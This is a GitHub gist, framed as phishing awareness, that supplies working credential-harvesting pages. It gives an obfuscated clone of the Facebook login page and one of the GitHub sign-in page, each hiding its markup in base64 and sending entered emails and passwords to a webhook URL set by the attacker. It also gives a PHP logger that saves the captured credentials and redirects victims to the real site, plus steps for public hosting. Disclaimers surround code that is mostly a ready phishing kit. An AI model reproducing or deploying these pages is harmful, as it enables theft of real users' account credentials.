Skip to content

Instantly share code, notes, and snippets.

@win3zz
Last active July 20, 2025 18:56
Show Gist options
  • Save win3zz/ecd5cbbfb7919e4997f977aa7259b780 to your computer and use it in GitHub Desktop.
Save win3zz/ecd5cbbfb7919e4997f977aa7259b780 to your computer and use it in GitHub Desktop.
Social Engineering (Psychological Manipulation)

Demonstration of Phi[s]hing Techniques (For Awareness & Learning Only)

Important

Disclaimer: This content is intended strictly for educational and ethical awareness purposes only. It must not be used for unauthorized or malicious activities. Always conduct security testing only in environments you own or have explicit permission to test. Misuse of this information may be illegal and subject to penalties under cybercrime laws.


This demonstrates how phish[i]ng techniques work, for the sole purpose of educating ethical hackers, developers, and students in cybersecurity.

We are using a minified and obfuscated clone of the Fa[ce]book login page for simulation purposes.

How to Set It Up:

  1. Copy the HTML content below into a file named index.html.

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>&#x46;&#x61;&#x63;&#x65;&#x62;&#x6F;&#x6F;&#x6B;&#x20;&#x2013;&#x20;&#x6C;&#x6F;&#x67;&#x20;&#x69;&#x6E;&#x20;&#x6F;&#x72;&#x20;&#x73;&#x69;&#x67;&#x6E;&#x20;&#x75;&#x70;</title>
        <style>body{margin:0;font-family:Arial,sans-serif;background-color:#f0f2f5}.login-box,footer{text-align:center}.login-box{background:#fff;padding:30px;box-shadow:0 2px 5px rgba(0,0,0,.1);width:360px;border-radius:6px}.login-box h2{margin-bottom:20px;font-weight:400}.login-box form input{width:100%;padding:10px;margin-bottom:12px;border:1px solid #ddd;border-radius:4px;font-size:14px}.login-box form button{width:100%;padding:10px;background-color:#1877f2;border:none;color:#fff;font-size:16px;border-radius:4px;cursor:pointer}.login-box form button,.login-box form input{box-sizing:border-box}.login-links,.not-now{font-size:13px;margin-top:10px;color:#1877f2}footer{padding:20px;font-size:13px;color:#737373}footer .footer-links a{margin:0 5px;color:#737373;text-decoration:none}footer .footer-links{margin-top:10px;line-height:1.6;max-width:1000px;margin-left:auto;margin-right:auto}</style>
    </head>
    <body>
        <noscript>JavaScript is required to run this application</noscript>
        <script>
    
            var webhook="https://webhook.site/your-id-here";
            document.write(atob(`PGRpdiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojM2I1OTk4O2NvbG9yOiNmZmY7cGFkZGluZzoxMHB4IDIwcHg7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtqdXN0aWZ5LWNvbnRlbnQ6c3BhY2UtYmV0d2VlbiI+PGRpdiBzdHlsZT1mb250LXNpemU6MzJweDtmb250LXdlaWdodDo3MDA+ZmFjZWJvb2s8L2Rpdj48YSBocmVmPSMgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzQyYjcyYTtjb2xvcjojZmZmO3BhZGRpbmc6NnB4IDEycHg7dGV4dC1kZWNvcmF0aW9uOm5vbmU7Zm9udC1zaXplOjE0cHg7Ym9yZGVyLXJhZGl1czozcHgiPkNyZWF0ZSBOZXcgQWNjb3VudDwvYT48L2Rpdj48ZGl2IHN0eWxlPWRpc3BsYXk6ZmxleDtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO2FsaWduLWl0ZW1zOmNlbnRlcjtoZWlnaHQ6NjB2aD48ZGl2IGNsYXNzPWxvZ2luLWJveD48aDI+TG9nIGluIHRvIEZhY2Vib29rPC9oMj48Zm9ybSBvbnN1Ym1pdD0idGhpcy5hY3Rpb249d2ViaG9vayIgbWV0aG9kPXBvc3QgYWN0aW9uPT48aW5wdXQgbmFtZT1lbWFpbCBwbGFjZWhvbGRlcj0iRW1haWwgYWRkcmVzcyBvciBwaG9uZSBudW1iZXIicmVxdWlyZWQ+IDxpbnB1dCBuYW1lPXBhc3MgcGxhY2Vob2xkZXI9UGFzc3dvcmQgcmVxdWlyZWQgdHlwZT1wYXNzd29yZD4gPGJ1dHRvbiB0eXBlPXN1Ym1pdD5Mb2cgaW48L2J1dHRvbj48L2Zvcm0+PGRpdiBjbGFzcz1sb2dpbi1saW5rcz48YSBocmVmPSM+Rm9yZ290dGVuIGFjY291bnQ/PC9hPiAmI3hCNzsgPGEgaHJlZj0jPlNpZ24gdXAgZm9yIEZhY2Vib29rPC9hPjwvZGl2PjxkaXYgY2xhc3M9bm90LW5vdz48YSBocmVmPSM+Tm90IG5vdzwvYT48L2Rpdj48L2Rpdj48L2Rpdj48Zm9vdGVyPjxkaXYgc3R5bGU9bWFyZ2luLWJvdHRvbToxMHB4PkVuZ2xpc2ggKFVLKSAmI3hBOTc7JiN4QUMxOyYjeEE5QzsmI3hBQjA7JiN4QUJFOyYjeEFBNDsmI3hBQzA7ICYjeDkzOTsmI3g5M0Y7JiN4OTI4OyYjeDk0RDsmI3g5MjY7JiN4OTQwOyAmI3g5MkU7JiN4OTMwOyYjeDkzRTsmI3g5MjA7JiN4OTQwOyAmI3g2Mjc7JiN4NjRGOyYjeDYzMTsmI3g2MkY7JiN4NjRGOyYjeDY0ODsgJiN4QkE0OyYjeEJBRTsmI3hCQkY7JiN4QkI0OyYjeEJDRDsgJiN4OUFDOyYjeDlCRTsmI3g5ODI7JiN4OUIyOyYjeDlCRTsgJiN4QzI0OyYjeEM0NjsmI3hDMzI7JiN4QzQxOyYjeEMxNzsmI3hDNDE7ICYjeEQyRTsmI3hEMzI7JiN4RDJGOyYjeEQzRTsmI3hEMzM7JiN4RDAyOyBFc3BhJiN4RjE7b2wgPGJ1dHRvbj4rPC9idXR0b24+PC9kaXY+PGRpdiBjbGFzcz1mb290ZXItbGlua3M+PGEgaHJlZj0jPlNpZ24gVXA8L2E+IDxhIGhyZWY9Iz5Mb2cgaW48L2E+IDxhIGhyZWY9Iz5NZXNzZW5nZXI8L2E+IDxhIGhyZWY9Iz5GYWNlYm9vayBMaXRlPC9hPiA8YSBocmVmPSM+VmlkZW88L2E+IDxhIGhyZWY9Iz5NZXRhIFBheTwvYT4gPGEgaHJlZj0jPk1ldGEgU3RvcmU8L2E+IDxhIGhyZWY9Iz5NZXRhIFF1ZXN0PC9hPiA8YSBocmVmPSM+UmF5LUJhbiBNZXRhPC9hPiA8YSBocmVmPSM+TWV0YSBBSTwvYT4gPGEgaHJlZj0jPkluc3RhZ3JhbTwvYT4gPGEgaHJlZj0jPlRocmVhZHM8L2E+IDxhIGhyZWY9Iz5Wb3RpbmcgSW5mb3JtYXRpb24gQ2VudHJlPC9hPiA8YSBocmVmPSM+UHJpdmFjeSBQb2xpY3k8L2E+IDxhIGhyZWY9Iz5Qcml2YWN5IENlbnRyZTwvYT4gPGEgaHJlZj0jPkFib3V0PC9hPiA8YSBocmVmPSM+Q3JlYXRlIGFkPC9hPiA8YSBocmVmPSM+Q3JlYXRlIFBhZ2U8L2E+IDxhIGhyZWY9Iz5EZXZlbG9wZXJzPC9hPiA8YSBocmVmPSM+Q2FyZWVyczwvYT4gPGEgaHJlZj0jPkNvb2tpZXM8L2E+IDxhIGhyZWY9Iz5BZENob2ljZXM8L2E+IDxhIGhyZWY9Iz5UZXJtczwvYT4gPGEgaHJlZj0jPkhlbHA8L2E+PC9kaXY+PGRpdiBzdHlsZT1tYXJnaW4tdG9wOjEwcHg+TWV0YSAmI3hBOTsgMjAyNTwvZGl2PjwvZm9vdGVyPg==`));
    
        </script>
    </body>
    </html>
  2. Replace the URL in the line var webhook="https://webhook.site/your-id-here"; with your own (from tools like Webhook.site, Burp Collaborator, RequestBin, Beeceptor, etc.) to capture the form data.

  3. Host the file on a public-facing web server to make it accessible over the internet (for testing within your own lab environment only).

Screenshot 2025-07-03 191914

When someone accesses this page and submits the form, the data will be sent to your specified webhook.

Screenshot 2025-07-03 192020

Instead of using public services, you can also set up a simple logger on your own server using PHP:

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    file_put_contents('post_data.log', json_encode($_POST) . PHP_EOL, FILE_APPEND);
}
header('Location: https://www.facebook.com/');
exit;
  • Save this code in a file (e.g., l0gger.php) and host it on your web server.
  • Use the URL to this script as your webhook in the HTML demo.

Warning

Again, this is for ethical and legal cybersecurity education only. Do not deploy this technique against unsuspecting users or external systems without explicit, written permission. Educate responsibly.

If you're training in cybersecurity or preparing for certifications (like OSCP, CEH, or Security+), simulated phishing labs like this can be valuable for understanding how attackers operate and how to defend against them.

<!DOCTYPE html>
<html lang="en">
   <head>
      <meta charset="UTF-8">
      <title>&#x53;&#x69;&#x67;&#x6E;&#x20;&#x69;&#x6E;&#x20;&#x74;&#x6F;&#x20;&#x47;&#x69;&#x74;&#x48;&#x75;&#x62;</title>
      <style>
         body{margin:0;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Helvetica,Arial,sans-serif;background:#fff;color:#24292f}.login-box{background:#f6f8fa;border:1px solid #d8dee4;border-radius:6px;padding:20px;text-align:left}.login-box label{display:block;margin-bottom:8px;font-weight:400;font-size:14px}.login-box input{width:100%;padding:7px;margin-bottom:15px;border:1px solid #d0d7de;border-radius:6px;font-size:14px}.password-row{display:flex;justify-content:space-between;align-items:center;font-size:14px}.password-row a{font-size:13px;color:#0969da;text-decoration:none;margin-bottom:8px}.login-box button{width:100%;padding:7px;background:#1f883d;color:#fff;font-weight:600;font-size:14px;border:none;border-radius:6px;cursor:pointer}.login-box button,.login-box input{box-sizing:border-box}footer{text-align:center;margin-top:60px;font-size:13px;color:#57606a}footer a{color:#57606a;margin:0 8px;text-decoration:none}
      </style>
   </head>
   <body>
      <noscript>
         <div style="color:red;text-align:center;">JavaScript is required to run this application.</div>
      </noscript>
      <script>
         var webhook="https://webhook.site/your-id-here";
         document.write(atob(`PGRpdiBzdHlsZT0ibWF4LXdpZHRoOjM0MHB4O21hcmdpbjo2MHB4IGF1dG87dGV4dC1hbGlnbjpjZW50ZXIiPjxpbWcgYWx0PSJHaXRIdWIgTG9nbyJzcmM9aHR0cHM6Ly9naXRodWIuZ2l0aHViYXNzZXRzLmNvbS9pbWFnZXMvbW9kdWxlcy9sb2dvc19wYWdlL0dpdEh1Yi1NYXJrLnBuZyBzdHlsZT13aWR0aDo1MHB4O21hcmdpbi1ib3R0b206MjBweD48aDEgc3R5bGU9Zm9udC1zaXplOjI0cHg7Zm9udC13ZWlnaHQ6MzAwO21hcmdpbi1ib3R0b206MjBweD5TaWduIGluIHRvIEdpdEh1YjwvaDE+PGRpdiBjbGFzcz1sb2dpbi1ib3g+PGZvcm0gYWN0aW9uPSIiaWQ9bG9naW5Gb3JtIG1ldGhvZD1wb3N0PjxsYWJlbD5Vc2VybmFtZSBvciBlbWFpbCBhZGRyZXNzPC9sYWJlbD4gPGlucHV0IG5hbWU9ZW1haWwgcmVxdWlyZWQ+PGRpdiBjbGFzcz1wYXNzd29yZC1yb3c+PGxhYmVsPlBhc3N3b3JkPC9sYWJlbD4gPGEgaHJlZj0jPkZvcmdvdCBwYXNzd29yZD88L2E+PC9kaXY+PGlucHV0IG5hbWU9cGFzcyByZXF1aXJlZCB0eXBlPXBhc3N3b3JkPiA8YnV0dG9uIHR5cGU9c3VibWl0PlNpZ24gaW48L2J1dHRvbj48L2Zvcm0+PC9kaXY+PGRpdiBzdHlsZT0iYm9yZGVyOjFweCBzb2xpZCAjZDhkZWU0O2JvcmRlci1yYWRpdXM6NnB4O3BhZGRpbmc6MTZweDttYXJnaW4tdG9wOjE2cHg7YmFja2dyb3VuZDojZmZmO2ZvbnQtc2l6ZToxNHB4Ij48YSBocmVmPSMgc3R5bGU9ZGlzcGxheTpibG9jazttYXJnaW4tYm90dG9tOjEwcHg7Y29sb3I6IzA5NjlkYTtmb250LXdlaWdodDo2MDA7dGV4dC1kZWNvcmF0aW9uOm5vbmU+U2lnbiBpbiB3aXRoIGEgcGFzc2tleTwvYT48ZGl2Pk5ldyB0byBHaXRIdWI/IDxhIGhyZWY9IyBzdHlsZT1jb2xvcjojMDk2OWRhO3RleHQtZGVjb3JhdGlvbjpub25lPkNyZWF0ZSBhbiBhY2NvdW50PC9hPjwvZGl2PjwvZGl2PjwvZGl2Pjxmb290ZXI+PGEgaHJlZj0jPlRlcm1zPC9hPiA8YSBocmVmPSM+UHJpdmFjeTwvYT4gPGEgaHJlZj0jPkRvY3M8L2E+IDxhIGhyZWY9Iz5Db250YWN0IEdpdEh1YiBTdXBwb3J0PC9hPiA8YSBocmVmPSM+TWFuYWdlIGNvb2tpZXM8L2E+IDxhIGhyZWY9Iz5EbyBub3Qgc2hhcmUgbXkgcGVyc29uYWwgaW5mb3JtYXRpb248L2E+PC9mb290ZXI+`));setTimeout(function(){document.getElementById("loginForm").action=webhook},2e3);
      </script>
   </body>
</html>

Screenshot 2025-07-03 201634

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment